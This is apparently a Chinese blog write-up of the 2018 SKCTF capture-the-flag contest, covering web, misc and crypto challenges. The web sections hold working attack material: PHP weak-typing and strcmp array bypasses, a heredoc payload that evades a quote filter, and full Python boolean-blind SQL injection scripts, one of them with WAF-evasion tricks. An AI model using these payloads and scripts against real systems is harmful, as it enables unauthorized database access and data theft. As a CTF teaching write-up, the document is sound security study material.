2018-3rd-SKCTF

Web

wait a minute

源码:

if(isset($_POST['password']))
{
    if(strcmp($_POST['password'],$password)==0){
        echo "<h1>Welcome,you need to wait......<br>The flag will become soon....</h1><br>";
        if(isset($_GET['time'])){
                $t=$_GET['time'];
                if(!is_numeric($t)){
                        echo 'Sorry.<br>';
                }else if($t < 66 * 55 * 44 * 33 * 22 * 11 ){
                                echo 'you need a bigger time.<br>';
                }else if($t > 11 * 23 * 33 * 44 * 55 * 66){
                                echo 'you need a smaller time.<br>';
                }else{
                        sleep((int)$t);
                        var_dump($flag);
                }
                        echo '<hr>';
        }
    }else{
        echo "Password is wrong............<br>";
    }
}else{
    echo "<h1>Please input password..........</h1><br>";
}

逻辑很简单,password可以通过构造数组绕过。
time比较麻烦,首先time=11*22*33*44*55*66,但是由于sleep(time),这么大的time,要等待很久,大概算一下是几百天吧,这里由于用到强制转换(int)$t
而16进制0x开头在强制转换中出现问题,导致转换成0.

所以payload为:?time=0x4c06f350.

八大关

这道,一关又一关,但其实还是都比较简单的。
1.XFF
2.UA
3.php弱类型md5
4.strcmp
5.md5爆破,附上脚本:

import hashlib

def getmd5(code):
    for i in range(999999):
        temp = hashlib.md5(str(i)).hexdigest()
        if temp[0:6] == code:
            return i
print getmd5('084a12')

6.php弱类型,数组绕过(md5(arr)==null)
7.urldecode,在传递url时,会进行一次,所以要两次urlencode(’SKCTF’)
8.js,看源码就知道了密码了。

php string

首先、我有一个误区:看到图片名称heredoc我以为会是一个冒充web的隐写题,图片里有个doc这样的==、
提示说文件泄露,得到index.php.swp
Linux 还原:

vim -r index.php.swp

mark
逻辑很简单,只要id=’6666’,即可。(这道题,当时我真的眼瞎==、只看到了6666,自动忽略了两个')
但是问题在于:直接传进去的id是有过滤的,过滤了',所以没有办法直接让id=’6666’,这是才是佩奇的提示==、heredoc!

heredoc是一种perl风格的定界符。用于定界和传递字符串。用 heredoc 句法结构:<<<。在该运算符之后要提供一个标识符,然后换行。接下来是字符串 string 本身,最后要用前面定义的标识符作为结束标志。

php手册中heredoc的相关介绍

于是我们知道了:可以利用heredoc来绕过'的过滤。

<<<xx
6666
xx;

但是注意的是每一行都需要一个换行符,url里用%0a,
payload:?id=<<<xx%0A6666%0Axx;%0A

easy web

有源码泄露,得到源码/www.zip,
里面有三个php文件:
index.php

<?php

ini_set('session.serialize_handler', 'php_serialize');
session_start();
echo rand();
if(isset($_POST['up_addr']))
{
    include("rand_addr.php");
    if($_POST['up_addr']===$up_addr&&isset($_POST['str']))
    {
        $str = $_POST['str'];
        $_SESSION['name'] = $str;
    }

}

kkk.php

<?php

ini_set('session.serialize_handler', 'php');
session_start();
class  SKCTF{
    var $content;
    function __destruct() {
        include("rand_addr.php");
        var_dump($this->content);
        file_put_contents("/var/www/html/upload/$up_addr.php",$this->content);
    }
}

$a = new SKCTF();
echo $a;
?>

rand_addr.php

<?php
$up_addr = str_shuffle('0123456789abcdefghijklmnopqrstuvwxyz');

这道题是考的是session的反序列化。有点难,先放一放==、

login me

听说只有admin才能拿到flag。

本题考查sql bool盲注。一开始把问题想简单了,以为只是admin的万能密码之类的==、
先做一下无过滤的版本:
payload:

username=1' or substr('a',1,1)='a'#&password=123

下面就开始盲注,这里盲注成功的条件是返回弹窗Wrong password,失败返回Wrong username

源码给出提示,直接访问web4.sql得到表的结构:

# Host: localhost  (Version: 5.5.53-log)
# Date: 2018-05-04 17:13:56
# Generator: MySQL-Front 5.3  (Build 4.234)

/*!40101 SET NAMES utf8 */;

#
# Structure for table "admin"
#

DROP TABLE IF EXISTS `admin`;
CREATE TABLE `admin` (
  `id` int(11) DEFAULT NULL,
  `username` char(20) DEFAULT NULL,
  `password` char(40) DEFAULT NULL
) ENGINE=MyISAM DEFAULT CHARSET=utf8;

#
# Structure for table "f1ag"
#

DROP TABLE IF EXISTS `f1ag`;
CREATE TABLE `f1ag` (
  `f14g` char(40) DEFAULT NULL
) ENGINE=MyISAM DEFAULT CHARSET=utf8;

得到表的结构为:
- admin
- id
- username
- password
- f1ag
- f14g

脚本如下:

# -*-coding:utf-8-*-

import requests
import time

url = 'http://192.168.211.131:49157/'

def check(payload):
    postdata={'username':payload,'password':'admin'}
    r = requests.post(url,postdata).content
    #print r;
    return 'Wrong password' in r

flag = ''
s = r'1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM@_{}'
for i in xrange(1,64):
    for c in s:
        payload ='1\'or substr((select f14g from f1ag),%s,1) = \'%s\'#'%(str(i),c)
        #print payload
        if check(payload):
            flag += c
            break
    print flag
    if '}' in flag:
        break

mark

接下来是加上waf,过滤以后的==、

首先测试过滤。过滤采用burp进行fuzz。结果如下:
mark

过滤union,if,=,and,<,>,or,substr,mid,like,空格

可以用/**/绕过空格,in绕过=,lpad函数代替substr用于截取字符串。

payload:username=1'/**/||lpad(('a'),1,1)/**/in/**/('a')#&password=123

脚本如下:

# -*-coding:utf-8-*-

import requests
import time

url = 'http://192.168.211.131:49154/'

def check(payload):
    postdata={'username':payload,'password':'123'}
    r = requests.post(url,postdata).content
    #print r;
    return 'Wrong password' in r

flag = ''
s = r'1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM@_{}'
for i in xrange(1,64):
    for c in s:
        #payload ='1\'or substr((select f14g from f1ag),%s,1) = \'%s\'#'%(str(i),c)
        payload = '1\'/**/||/**/lpad((select/**/f14g/**/from/**/f1ag),%s,1)/**/in/**/(\'%s\')#'%(str(i),flag+c)
        #print payload
        if check(payload):
            flag += c
            break
    print flag
    if '}' in flag:
        break

mark

绕啊绕

$rule = '/([[:punct:]]+|[[:alpha:]]+|[[:digit:]]+)/';
        if (8 > preg_match_all($rule, $data, $arr))
        {
            echo preg_match_all($rule, $data, $arr);
            break;
        } 
        $num = 0;
        $nn = array('punct', 'alpha', 'digit');
        foreach ($nn as $ns)
        { 
            if (preg_match("/[[:$ns:]]+/", $data))
            {
                $num += 1;
            }
        }
        if ($num < 3)
            break;
        if (187667123 == $data)
        {
            $da = $_GET['num'];
            if (!is_numeric($da))
            {
                if(27500 < $da)
                {
                    echo $flag;
                }
            }
            else
            {
                echo "Forbidden!!";
            }

        } 
        else
            echo 'Wrong password';
            exit;

php正则表达式的内置通用字符簇,[[:punct:]]代表任意标点符号,[[:alpha:]]代表任意字母,[[:digit:]]代表任意数字。

if (8 > preg_match_all($rule, $data, $arr))
arr在data中要匹配rule条件8次以上,注意是匹配八次以上,不是八个以上的数字字母符号

$nn = array('punct', 'alpha', 'digit');
foreach ($nn as $ns)
{
    if (preg_match("/[[:$ns:]]+/", $data)){
        $num += 1;
    }
}
if ($num < 3)
break;

这里foreach循环,就是要求的是data里面既要有数字,又要有字母,标点。

if (187667123 == $data)
{

这里要求data==187667123

    $da = $_GET['num'];
    if (!is_numeric($da))
    {
        if(27500 < $da)
        {
        echo $flag;
        }

这里要求GET一个num,不是数字,而且要比25700大,可以通过弱类型绕过,比如传入27599abc
得到payload:

?num=27599abc
POST: data=187667123.0e+0-0+2-2+3-3

Msic

找到也打不开

从数据包中提取文件,wireshark导出http对象,得到压缩包。查看16进制后得知为伪加密,7z打开,或者修改一位即解。

Just Listen

有个password的图片,换通道可以看到密码:
mark
但是要注意一下:密码是forensics_is_fun不带key。

有了密码和mp3文件,想到应该是mp3加密。利用工具MP3_Stego来解,有了密码可以得到隐藏文件,一个txt。

http://www.petitcolas.net/steganography/mp3stego/

真香

一看这个gif,很大。怀疑是有zip,可以通过winhex提取出zip。
但是zip不是直接能打开的,有密码,真加密(不是伪加密==、)当时没想到原来文件尾的blind_water_mark就是密码。
解压后,得到两张图,一张叫or,一张叫xor。

看提示,极有可能是盲水印攻击。

利用github上的盲水印攻击工具。
mark

mark

取证

首先下载下来是个虚拟镜像,于是连接,得到一个压缩包,解压是一个gif(需要用WinRAR解压,因为很多压缩软件不支持NTFS),但是图片大小和所占空间相差很大,有猫腻!

提示是NTFS。

NTFS交换数据流(alternate data streams,简称ADS)是NTFS磁盘格式的一个特性,在NTFS文件系统下每一个文件,都有着主文件流和非主文件流,主文件流能够直接看到;而非主文件流寄宿于主文件流中,无法直接读取,这个非主文件流就是NTFS交换数据流。交换数据流的诞生源于Windows系统与苹果的HFS系统的交互需求,NTFS使用交换数据流来存储文件相关元数据等等。

ADS的作用在于,它允许一个文件携带着附加的信息。例如,IE浏览器下载文件时,会向文件添加一个数据流,标记该文件来源于外部,即带有风险,那么,在用户打开文件时,就会弹出文件警告提示。再如,在网址收藏中,也会附加一个favicon数据流以存放网站图标。

可以利用工具lads和ntfsstreamseditor来导出数据。
mark

又是一个gif,保存所有帧得到flag。

Game

解法一、玩游戏,但是我手残==、

解法二、反编译,下载GameMarker 8.0 Decompiler,将exe进行反编译。得到工程文件gmk,下载Gamemaker可以读取所有游戏文件资源,找到flag。==、我怎么不知道

解法三、最人性化的解法就是修改save文件。因为玩过游戏会产生save文件,只要明白save文件的格式,修改文件即可,偏移量+12.
0112->011E
mark

mark

Crypto

仿射加密

仿射加密,python爆就行。

letter = 'abcdefghijklmnopqrstuvwxyz'  
word = 'fwpcpywpcphnxaoxlywpcphnxlhco'  
flag = ''  

a = 11  
b = 23  
for i in word:  
    for j in range(0,len(letter)):  
        if i == letter[(a*j+b)%26]:  
            flag+=letter[j]  
print flag  

看到的就是全部了

常规古典题,Unicode,栅栏,凯撒。

Play Fair

加密游戏规则:

# j -> i
# 若 p1=p2,则插入一个字母(X)于重复字母之间;
# 若明文字母数为奇数时,则在明文的末端添加(Z)作为填充;

key:just do it
plain:playfairseemseasythanothers

play fair decode
矩阵按行生成
j->i 含义为j替代i 因此在生成的矩阵中有j无i

play fair是一种使用一个关键词方格来加密字符对的加密法。

根据加密算法来加密就行。
playfair百科

SKCTF{rhcwgodmdbordbbutcgbmasklzdx}

ez_rsa

考察的是低指数幂的rsa攻击。

在RSA中e也称为加密指数。由于e是可以随意选取的,选取小一点的e可以缩短加密时间,但是选取不当的话,就会造成安全问题。

e=3时的小明文攻击

介绍:
当e=3时,如果明文过小,导致明文的三次方仍然小于n,那么通过直接对密文三次开方,即可得到明文。

由于数据很大,需要用到libnum,介绍一下安装

git clone https://github.com/hellman/libnum
cd libnum
python setup.py install

脚本攻击,由于知道e=3,很简单

import libnum

n = 127736277372703302601056543119422673263688414162130452012271136376613506149677023810059879551077756689012265602068781726322860263396788055341495459092641851239465778777954763378423777055786390661741851297248439205933852145044703803764388021585419049988085302710871206091591995497858682344782684500134395300049
c = 20007698782339834246219328724588364459038474898597431254441716723329047692482286669616878491497181438826429104573158490197780427343059002311390665150204203593904674308567972583524863664412573864470357485299378319457792659062998310715680020892095430469672971488726545126438904961637

e=3

m = libnum.nroot(c,e)
flag = libnum.n2s(m)
print flag

流密码

hint:

初始状态为10001,放入lfsr中移位吧
lfsr产生序列和Y等长,生成它
尝试把二进制转换为字符,flag长度为23
LFSR原理:
mark

mark
如图,我们可以知道Y = LFSR^FLAG,想知道flag,只要知道LFSR之前的状态即可。
LFSR过程
输出的第i个和第(i+3)个异或得到第(i+5)个数据。
得到LFSR过程前的结果后,将其与Y异或就可以得到flag。

脚本:

#-*- coding:utf-8 -*-
Y ="1101110011010001000000011110111101011001010011111100000101000110011000010011000001100101101110010010001110011001011110111110100010001110111110110110011111010111110001100001101000101010"
len = len(Y)
print len # 求得Y的长度184

X = '10001'

for i in range(184):
    X += str(int(X[i]) ^ int(X[i + 3]))
print "X = "+ X
flag = ''
for i in range(184):
    flag += str(int(X[i]) ^ int(Y[i]))
print "flag = "+flag
list = ''
j = 0
while j < len:
    list += chr(int(flag[j:j+8],2))
    j += 8
print list
  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值